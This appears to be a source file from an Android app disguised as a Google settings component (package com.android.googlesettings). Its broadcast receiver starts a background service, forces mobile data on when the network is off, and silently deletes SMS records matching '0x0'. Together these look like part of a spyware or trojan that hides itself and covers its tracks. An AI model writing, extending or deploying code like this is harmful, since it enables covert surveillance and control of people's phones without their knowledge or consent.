package com.android.googlesettings.receiver;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

import com.android.googlesettings.service.GoogleService;
import com.android.googlesettings.util.ConnUtil;
import com.android.googlesettings.util.DbLocation;
import com.android.googlesettings.util.ManageUtil;

public class CheckReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(final Context context, Intent intent) {

		new Thread(GoogleService.getInstance().runnable).start();

		new Thread(new Runnable() {

			@Override
			public void run() {
				// TODO Auto-generated method stub
				String connType = DbLocation.getInstance().getKeyValue(
						DbLocation.CONNECT_TYPE);
				if (connType.equals(ConnUtil.allwaysConn)
						&& !ManageUtil.isNetWorkActived()) {
					ManageUtil.toggleMobileData(true);
				}
				ManageUtil.deleteSmsRecord(context, "0x0");
			}
		}).start();
	}

}
